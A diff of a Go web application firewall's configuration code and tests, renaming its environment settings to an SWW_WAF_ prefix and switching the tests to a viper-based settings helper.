|
||||||
value, errNotAppName))
|
value, errNotAppName))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1475,22 +1487,22 @@ func (e *environment) appName(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// checkInstanceNameForNtfy refuses an instance name that holds a control
|
// checkInstanceNameForNtfy refuses an instance name that holds a control
|
||||||
// character while ntfySet, SWW_ALERT_NTFY_URL being set: ntfy is sent
|
// character while ntfySet, SWW_WAF_ALERT_NTFY_URL being set: ntfy is sent
|
||||||
// the instance name in a header, which cannot hold one.
|
// the instance name in a header, which cannot hold one.
|
||||||
func (e *environment) checkInstanceNameForNtfy(
|
func (e *environment) checkInstanceNameForNtfy(
|
||||||
instanceName string,
|
instanceName string,
|
||||||
ntfySet bool,
|
ntfySet bool,
|
||||||
) {
|
) {
|
||||||
if ntfySet && strings.ContainsFunc(instanceName, unicode.IsControl) {
|
if ntfySet && strings.ContainsFunc(instanceName, unicode.IsControl) {
|
||||||
e.check("SWW_INSTANCE_NAME", fmt.Errorf(
|
e.check("SWW_WAF_INSTANCE_NAME", fmt.Errorf(
|
||||||
"%q %w, and is sent to ntfy in a header while SWW_ALERT_NTFY_URL is set",
|
"%q %w, and is sent to ntfy in a header while SWW_WAF_ALERT_NTFY_URL is set",
|
||||||
instanceName, errControlCharacter))
|
instanceName, errControlCharacter))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// webhookURL reads a setting that is a URL each alert is posted to:
|
// webhookURL reads a setting that is a URL each alert is posted to:
|
||||||
// SWW_ALERT_WEBHOOK_URL, SWW_ALERT_SLACK_WEBHOOK_URL or
|
// SWW_WAF_ALERT_WEBHOOK_URL, SWW_WAF_ALERT_SLACK_WEBHOOK_URL or
|
||||||
// SWW_ALERT_NTFY_URL. Unset or empty, it is nil, and no alert is posted
|
// SWW_WAF_ALERT_NTFY_URL. Unset or empty, it is nil, and no alert is posted
|
||||||
// there. The log shows ******** in place of its path and query, and an
|
// there. The log shows ******** in place of its path and query, and an
|
||||||
// error shows none of it, since a webhook or an ntfy topic can carry its
|
// error shows none of it, since a webhook or an ntfy topic can carry its
|
||||||
// secret there.
|
// secret there.
|
||||||
@@ -1942,7 +1954,7 @@ func parseCountry(value string) (string, error) {
|
|||||||
|
|
||||||
// ParseASN reads an AS number such as AS64496, in either case, and
|
// ParseASN reads an AS number such as AS64496, in either case, and
|
||||||
// returns it as the lookup gives it: AS and the number, in capitals and
|
// returns it as the lookup gives it: AS and the number, in capitals and
|
||||||
// without leading zeros. The file SWW_ASN_LIMIT_PERCENT_URL names is
|
// without leading zeros. The file SWW_WAF_ASN_LIMIT_PERCENT_URL names is
|
||||||
// read with it too.
|
// read with it too.
|
||||||
func ParseASN(value string) (string, error) {
|
func ParseASN(value string) (string, error) {
|
||||||
digits, hasAS := strings.CutPrefix(strings.ToUpper(value), "AS")
|
digits, hasAS := strings.CutPrefix(strings.ToUpper(value), "AS")
|
||||||
@@ -1969,7 +1981,7 @@ const (
|
|||||||
ExploitSignatureTag = "exploitsignature"
|
ExploitSignatureTag = "exploitsignature"
|
||||||
)
|
)
|
||||||
|
|
||||||
// TagList is an address list of SWW_TAG_LISTS: the tag it adds to the
|
// TagList is an address list of SWW_WAF_TAG_LISTS: the tag it adds to the
|
||||||
// requests of the clients it holds, and the URL it is fetched from.
|
// requests of the clients it holds, and the URL it is fetched from.
|
||||||
type TagList struct {
|
type TagList struct {
|
||||||
Name string
|
Name string
|
||||||
@@ -2162,7 +2174,7 @@ func parsePercents(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ParsePercent reads a percentage, a whole number from 0 to 100. The file
|
// ParsePercent reads a percentage, a whole number from 0 to 100. The file
|
||||||
// SWW_ASN_LIMIT_PERCENT_URL names is read with it too.
|
// SWW_WAF_ASN_LIMIT_PERCENT_URL names is read with it too.
|
||||||
func ParsePercent(value string) (int64, error) {
|
func ParsePercent(value string) (int64, error) {
|
||||||
percent, err := strconv.ParseInt(value, 10, 64)
|
percent, err := strconv.ParseInt(value, 10, 64)
|
||||||
if err != nil || percent < 0 || percent > 100 {
|
if err != nil || percent < 0 || percent > 100 {
|
||||||
@@ -2393,7 +2405,7 @@ const (
|
|||||||
maxLabelLength = 63
|
maxLabelLength = 63
|
||||||
// labelChars are the characters a label of a DNS zone may hold.
|
// labelChars are the characters a label of a DNS zone may hold.
|
||||||
labelChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"
|
labelChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"
|
||||||
// dnsPort is the port a resolver is asked on when SWW_DNSBL_RESOLVER
|
// dnsPort is the port a resolver is asked on when SWW_WAF_DNSBL_RESOLVER
|
||||||
// gives none.
|
// gives none.
|
||||||
dnsPort = 53
|
dnsPort = 53
|
||||||
)
|
)
|
||||||
|
|||||||
+150
-148
@@ -17,106 +17,109 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/spf13/viper"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The settings, by name.
|
// The settings, by name.
|
||||||
const (
|
const (
|
||||||
listenAddr = "SWW_LISTEN_ADDR"
|
listenAddr = "SWW_WAF_LISTEN_ADDR"
|
||||||
mode = "SWW_MODE"
|
mode = "SWW_WAF_MODE"
|
||||||
ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
|
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
|
||||||
maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
|
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
|
||||||
allowNets = "SWW_ALLOW_NETS"
|
allowNets = "SWW_WAF_ALLOW_NETS"
|
||||||
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
|
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||||
denyNets = "SWW_DENY_NETS"
|
denyNets = "SWW_WAF_DENY_NETS"
|
||||||
rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
|
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
|
||||||
rateLimitPerHour = "SWW_RATE_LIMIT_PER_HOUR"
|
rateLimitPerHour = "SWW_WAF_RATE_LIMIT_PER_HOUR"
|
||||||
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
|
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||||
rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
|
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
|
||||||
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
|
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
|
||||||
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
|
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
|
||||||
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
|
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
|
||||||
bytesCount = "SWW_BYTES_COUNT"
|
bytesCount = "SWW_WAF_BYTES_COUNT"
|
||||||
lookupSource = "SWW_LOOKUP_SOURCE"
|
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||||
lookupDBPath = "SWW_LOOKUP_DB_PATH"
|
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||||
lookupTimeout = "SWW_LOOKUP_TIMEOUT"
|
lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT"
|
||||||
addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
|
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
|
||||||
allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||||
tagLists = "SWW_TAG_LISTS"
|
tagLists = "SWW_WAF_TAG_LISTS"
|
||||||
tagDeny = "SWW_TAG_DENY"
|
tagDeny = "SWW_WAF_TAG_DENY"
|
||||||
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
|
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
|
||||||
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
|
asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT"
|
||||||
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
|
countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT"
|
||||||
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
|
unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT"
|
||||||
asnLimitPercentURL = "SWW_ASN_LIMIT_PERCENT_URL"
|
asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL"
|
||||||
blocklistURLs = "SWW_BLOCKLIST_URLS"
|
blocklistURLs = "SWW_WAF_BLOCKLIST_URLS"
|
||||||
blocklistRefresh = "SWW_BLOCKLIST_REFRESH"
|
blocklistRefresh = "SWW_WAF_BLOCKLIST_REFRESH"
|
||||||
blocklistAction = "SWW_BLOCKLIST_ACTION"
|
blocklistAction = "SWW_WAF_BLOCKLIST_ACTION"
|
||||||
dnsblZones = "SWW_DNSBL_ZONES"
|
dnsblZones = "SWW_WAF_DNSBL_ZONES"
|
||||||
dnsblResolver = "SWW_DNSBL_RESOLVER"
|
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
|
||||||
abuseIPDBKey = "SWW_ABUSEIPDB_KEY"
|
abuseIPDBKey = "SWW_WAF_ABUSEIPDB_KEY"
|
||||||
abuseIPDBMinScore = "SWW_ABUSEIPDB_MIN_SCORE"
|
abuseIPDBMinScore = "SWW_WAF_ABUSEIPDB_MIN_SCORE"
|
||||||
abuseIPDBDailyBudget = "SWW_ABUSEIPDB_DAILY_BUDGET"
|
abuseIPDBDailyBudget = "SWW_WAF_ABUSEIPDB_DAILY_BUDGET"
|
||||||
reputationAction = "SWW_REPUTATION_ACTION"
|
reputationAction = "SWW_WAF_REPUTATION_ACTION"
|
||||||
reputationCacheTTL = "SWW_REPUTATION_CACHE_TTL"
|
reputationCacheTTL = "SWW_WAF_REPUTATION_CACHE_TTL"
|
||||||
reputationTimeout = "SWW_REPUTATION_TIMEOUT"
|
reputationTimeout = "SWW_WAF_REPUTATION_TIMEOUT"
|
||||||
routeWatchURL = "SWW_ROUTEWATCH_URL"
|
routeWatchURL = "SWW_WAF_ROUTEWATCH_URL"
|
||||||
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
|
crowdSecURL = "SWW_WAF_CROWDSEC_LAPI_URL"
|
||||||
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
|
crowdSecKey = "SWW_WAF_CROWDSEC_LAPI_KEY"
|
||||||
banResponse = "SWW_BAN_RESPONSE"
|
banResponse = "SWW_WAF_BAN_RESPONSE"
|
||||||
limitBanDuration = "SWW_LIMIT_BAN_DURATION"
|
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
|
||||||
limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
|
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
|
||||||
maxBanDuration = "SWW_MAX_BAN_DURATION"
|
maxBanDuration = "SWW_WAF_MAX_BAN_DURATION"
|
||||||
attackBanDuration = "SWW_ATTACK_BAN_DURATION"
|
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
|
||||||
maxBans = "SWW_MAX_BANS"
|
maxBans = "SWW_WAF_MAX_BANS"
|
||||||
banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
|
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
|
||||||
stateDir = "SWW_STATE_DIR"
|
stateDir = "SWW_WAF_STATE_DIR"
|
||||||
stateWriteDelay = "SWW_STATE_WRITE_DELAY"
|
stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY"
|
||||||
stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
|
stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL"
|
||||||
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||||
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
|
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||||
metricsTopN = "SWW_METRICS_TOP_N"
|
metricsTopN = "SWW_WAF_METRICS_TOP_N"
|
||||||
instanceName = "SWW_INSTANCE_NAME"
|
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||||
logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
|
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
|
||||||
logLevel = "SWW_LOG_LEVEL"
|
logLevel = "SWW_WAF_LOG_LEVEL"
|
||||||
rulesDir = "SWW_RULES_DIR"
|
rulesDir = "SWW_WAF_RULES_DIR"
|
||||||
rulesEnabled = "SWW_RULES_ENABLED"
|
rulesEnabled = "SWW_WAF_RULES_ENABLED"
|
||||||
wafMode = "SWW_WAF_MODE"
|
wafMode = "SWW_WAF_CORE_RULE_SET_MODE"
|
||||||
wafParanoiaLevel = "SWW_WAF_PARANOIA_LEVEL"
|
wafParanoiaLevel = "SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL"
|
||||||
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
|
wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD"
|
||||||
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
|
||||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
|
||||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT"
|
||||||
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
|
exclusionsFile = "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"
|
||||||
trapPaths = "SWW_TRAP_PATHS"
|
trapPaths = "SWW_WAF_TRAP_PATHS"
|
||||||
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD"
|
||||||
logRemoteURL = "SWW_LOG_REMOTE_URL"
|
logRemoteURL = "SWW_WAF_LOG_REMOTE_URL"
|
||||||
logRemoteTLSCAFile = "SWW_LOG_REMOTE_TLS_CA_FILE"
|
logRemoteTLSCAFile = "SWW_WAF_LOG_REMOTE_TLS_CA_FILE"
|
||||||
logRemoteBuffer = "SWW_LOG_REMOTE_BUFFER"
|
logRemoteBuffer = "SWW_WAF_LOG_REMOTE_BUFFER"
|
||||||
logRemoteFacility = "SWW_LOG_REMOTE_FACILITY"
|
logRemoteFacility = "SWW_WAF_LOG_REMOTE_FACILITY"
|
||||||
logRemoteAppName = "SWW_LOG_REMOTE_APP_NAME"
|
logRemoteAppName = "SWW_WAF_LOG_REMOTE_APP_NAME"
|
||||||
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
|
alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL"
|
||||||
alertWebhookHeaders = "SWW_ALERT_WEBHOOK_HEADERS"
|
alertWebhookHeaders = "SWW_WAF_ALERT_WEBHOOK_HEADERS"
|
||||||
alertSlackWebhookURL = "SWW_ALERT_SLACK_WEBHOOK_URL"
|
alertSlackWebhookURL = "SWW_WAF_ALERT_SLACK_WEBHOOK_URL"
|
||||||
alertNtfyURL = "SWW_ALERT_NTFY_URL"
|
alertNtfyURL = "SWW_WAF_ALERT_NTFY_URL"
|
||||||
alertNtfyToken = "SWW_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name
|
alertNtfyToken = "SWW_WAF_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name
|
||||||
alertEvents = "SWW_ALERT_EVENTS"
|
alertEvents = "SWW_WAF_ALERT_EVENTS"
|
||||||
alertCooldown = "SWW_ALERT_COOLDOWN"
|
alertCooldown = "SWW_WAF_ALERT_COOLDOWN"
|
||||||
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
|
alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR"
|
||||||
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
|
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
|
||||||
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
|
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
|
||||||
watchNets = "SWW_WATCH_NETS"
|
watchNets = "SWW_WAF_WATCH_NETS"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The anomaly thresholds: each of the prefixes below, which name a scope,
|
// The anomaly thresholds: each of the prefixes below, which name a scope,
|
||||||
// followed by each of the four ends.
|
// followed by each of the four ends.
|
||||||
const (
|
const (
|
||||||
anomalyClient = "SWW_ANOMALY_CLIENT_"
|
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
|
||||||
anomalyNet = "SWW_ANOMALY_NET_"
|
anomalyNet = "SWW_WAF_ANOMALY_NET_"
|
||||||
anomalyASN = "SWW_ANOMALY_ASN_"
|
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
|
||||||
anomalyTotal = "SWW_ANOMALY_TOTAL_"
|
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
|
||||||
watch = "SWW_WATCH_"
|
watch = "SWW_WAF_WATCH_"
|
||||||
|
|
||||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||||
@@ -157,21 +160,21 @@ func loggedAnomalyDefaults() map[string]string {
|
|||||||
return logged
|
return logged
|
||||||
}
|
}
|
||||||
|
|
||||||
// defaultAlertEvents is the default of SWW_ALERT_EVENTS, and
|
// defaultAlertEvents is the default of SWW_WAF_ALERT_EVENTS, and
|
||||||
// defaultAlertCooldown that of SWW_ALERT_COOLDOWN.
|
// defaultAlertCooldown that of SWW_WAF_ALERT_COOLDOWN.
|
||||||
const (
|
const (
|
||||||
defaultAlertEvents = "ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit," +
|
defaultAlertEvents = "ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit," +
|
||||||
"source_failure,file_error"
|
"source_failure,file_error"
|
||||||
defaultAlertCooldown = "15m"
|
defaultAlertCooldown = "15m"
|
||||||
)
|
)
|
||||||
|
|
||||||
// defaultReputationCacheTTL is the default of SWW_REPUTATION_CACHE_TTL.
|
// defaultReputationCacheTTL is the default of SWW_WAF_REPUTATION_CACHE_TTL.
|
||||||
const defaultReputationCacheTTL = "24h"
|
const defaultReputationCacheTTL = "24h"
|
||||||
|
|
||||||
// defaultWAFDisabledRules is the default of SWW_WAF_DISABLED_RULES.
|
// defaultWAFDisabledRules is the default of SWW_WAF_CORE_RULE_SET_DISABLED_RULES.
|
||||||
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
|
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
|
||||||
|
|
||||||
// defaultLogRequestHeaders is the default of SWW_LOG_REQUEST_HEADERS.
|
// defaultLogRequestHeaders is the default of SWW_WAF_LOG_REQUEST_HEADERS.
|
||||||
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
|
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
|
||||||
"content-type,origin,range"
|
"content-type,origin,range"
|
||||||
|
|
||||||
@@ -196,8 +199,8 @@ const (
|
|||||||
otherToken = "fedcba9876543210fedcba9876543210"
|
otherToken = "fedcba9876543210fedcba9876543210"
|
||||||
)
|
)
|
||||||
|
|
||||||
// instance is an SWW_INSTANCE_NAME that is a valid app name too, and
|
// instance is an SWW_WAF_INSTANCE_NAME that is a valid app name too, and
|
||||||
// remoteURL an SWW_LOG_REMOTE_URL, for the tests that send the lines.
|
// remoteURL an SWW_WAF_LOG_REMOTE_URL, for the tests that send the lines.
|
||||||
const (
|
const (
|
||||||
instance = "fsn1app1/blog"
|
instance = "fsn1app1/blog"
|
||||||
remoteURL = "syslog+udp://192.0.2.1:514"
|
remoteURL = "syslog+udp://192.0.2.1:514"
|
||||||
@@ -212,7 +215,7 @@ const enabled = "true"
|
|||||||
// disabled is false, as a setting's value.
|
// disabled is false, as a setting's value.
|
||||||
const disabled = "false"
|
const disabled = "false"
|
||||||
|
|
||||||
// defaultLookupSource is the default of SWW_LOOKUP_SOURCE, and
|
// defaultLookupSource is the default of SWW_WAF_LOOKUP_SOURCE, and
|
||||||
// fileSource the source that is the lookup database.
|
// fileSource the source that is the lookup database.
|
||||||
const (
|
const (
|
||||||
defaultLookupSource = "geojs"
|
defaultLookupSource = "geojs"
|
||||||
@@ -222,18 +225,16 @@ const (
|
|||||||
// environment is a set of environment variables, for FromEnvironment.
|
// environment is a set of environment variables, for FromEnvironment.
|
||||||
type environment map[string]string
|
type environment map[string]string
|
||||||
|
|
||||||
// lookupEnv reads one of the variables, as os.LookupEnv does.
|
// viper returns a viper holding each of the variables.
|
||||||
func (e environment) lookupEnv(name string) (string, bool) {
|
func (e environment) viper() *viper.Viper {
|
||||||
value, ok := e[name]
|
return configtest.Viper(e)
|
||||||
|
|
||||||
return value, ok
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// fromEnvironment reads the settings from env, which must be valid.
|
// fromEnvironment reads the settings from env, which must be valid.
|
||||||
func fromEnvironment(t *testing.T, env environment) *config.Config {
|
func fromEnvironment(t *testing.T, env environment) *config.Config {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
cfg, err := config.FromEnvironment(env.lookupEnv)
|
cfg, err := config.FromEnvironment(env.viper())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings %v: %v", env, err)
|
t.Fatalf("settings %v: %v", env, err)
|
||||||
}
|
}
|
||||||
@@ -462,7 +463,7 @@ func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(
|
_, err := config.FromEnvironment(
|
||||||
environment{rateLimitExemptPaths: "/favicon.ico,assets/"}.lookupEnv)
|
environment{rateLimitExemptPaths: "/favicon.ico,assets/"}.viper())
|
||||||
|
|
||||||
want := rateLimitExemptPaths + `: "assets/" is not a path prefix ` +
|
want := rateLimitExemptPaths + `: "assets/" is not a path prefix ` +
|
||||||
`starting with /, such as /assets/`
|
`starting with /, such as /assets/`
|
||||||
@@ -517,7 +518,7 @@ func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||||
|
|
||||||
want := tc.name + ": " + tc.want
|
want := tc.name + ": " + tc.want
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -646,7 +647,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||||
|
|
||||||
want := tc.name + ": " + tc.want
|
want := tc.name + ": " + tc.want
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -771,7 +772,7 @@ func TestInvalidRemoteLogSettingStopsTheStart(t *testing.T) {
|
|||||||
{logRemoteAppName, ""}, {logRemoteAppName, "my app"},
|
{logRemoteAppName, ""}, {logRemoteAppName, "my app"},
|
||||||
{logRemoteAppName, "gitéa"}, {logRemoteAppName, strings.Repeat("a", 49)},
|
{logRemoteAppName, "gitéa"}, {logRemoteAppName, strings.Repeat("a", 49)},
|
||||||
} {
|
} {
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
||||||
t.Errorf("%s=%q: error %v, want one naming it", tc.name, tc.value, err)
|
t.Errorf("%s=%q: error %v, want one naming it", tc.name, tc.value, err)
|
||||||
}
|
}
|
||||||
@@ -788,7 +789,7 @@ func TestRemoteLogCAFileWithoutCertificateStopsTheStart(t *testing.T) {
|
|||||||
t.Fatalf("write %s: %v", caFile, err)
|
t.Fatalf("write %s: %v", caFile, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
_, err = config.FromEnvironment(environment{logRemoteTLSCAFile: caFile}.lookupEnv)
|
_, err = config.FromEnvironment(environment{logRemoteTLSCAFile: caFile}.viper())
|
||||||
|
|
||||||
want := logRemoteTLSCAFile + `: "` + caFile + `" holds no PEM certificate`
|
want := logRemoteTLSCAFile + `: "` + caFile + `" holds no PEM certificate`
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -803,7 +804,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(t *testing.T) {
|
|||||||
|
|
||||||
sending := environment{logRemoteURL: remoteURL, instanceName: spaced}
|
sending := environment{logRemoteURL: remoteURL, instanceName: spaced}
|
||||||
|
|
||||||
_, err := config.FromEnvironment(sending.lookupEnv)
|
_, err := config.FromEnvironment(sending.viper())
|
||||||
|
|
||||||
want := logRemoteAppName + `: is unset, and ` + instanceName +
|
want := logRemoteAppName + `: is unset, and ` + instanceName +
|
||||||
` "fsn1 app1", its default, is not 1 to 48 printable ASCII characters ` +
|
` "fsn1 app1", its default, is not 1 to 48 printable ASCII characters ` +
|
||||||
@@ -833,7 +834,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) {
|
|||||||
logRemoteURL: remoteURL,
|
logRemoteURL: remoteURL,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
logRemoteAppName: "my app",
|
logRemoteAppName: "my app",
|
||||||
}.lookupEnv)
|
}.viper())
|
||||||
|
|
||||||
want := logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
|
want := logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
|
||||||
`characters without a space, such as blog`
|
`characters without a space, such as blog`
|
||||||
@@ -964,7 +965,7 @@ func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) {
|
|||||||
// An item that is not a header is named by its place, not shown.
|
// An item that is not a header is named by its place, not shown.
|
||||||
_, err := config.FromEnvironment(environment{
|
_, err := config.FromEnvironment(environment{
|
||||||
alertWebhookHeaders: "X-Team:ops," + secret,
|
alertWebhookHeaders: "X-Team:ops," + secret,
|
||||||
}.lookupEnv)
|
}.viper())
|
||||||
|
|
||||||
want := alertWebhookHeaders + ": item 2 is not a header name followed by : " +
|
want := alertWebhookHeaders + ": item 2 is not a header name followed by : " +
|
||||||
"and the header's value, such as Authorization:Bearer <token>"
|
"and the header's value, such as Authorization:Bearer <token>"
|
||||||
@@ -1001,7 +1002,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) {
|
|||||||
"ftp://hooks.example/services/" + secret,
|
"ftp://hooks.example/services/" + secret,
|
||||||
"https://hooks.example/services/%zz" + secret,
|
"https://hooks.example/services/%zz" + secret,
|
||||||
} {
|
} {
|
||||||
_, err := config.FromEnvironment(environment{alertWebhookURL: value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{alertWebhookURL: value}.viper())
|
||||||
|
|
||||||
want := alertWebhookURL + ": is not an http or https URL without a user or " +
|
want := alertWebhookURL + ": is not an http or https URL without a user or " +
|
||||||
"a fragment, such as https://alerts.example/sww"
|
"a fragment, such as https://alerts.example/sww"
|
||||||
@@ -1052,7 +1053,7 @@ func TestNtfyTokenWithAControlCharacterStopsTheStartWithoutShowingIt(t *testing.
|
|||||||
"set": {alertNtfyToken: token + "\r"},
|
"set": {alertNtfyToken: token + "\r"},
|
||||||
"in a file": {alertNtfyToken + "_FILE": writeFile(t, token+"\r\n")},
|
"in a file": {alertNtfyToken + "_FILE": writeFile(t, token+"\r\n")},
|
||||||
} {
|
} {
|
||||||
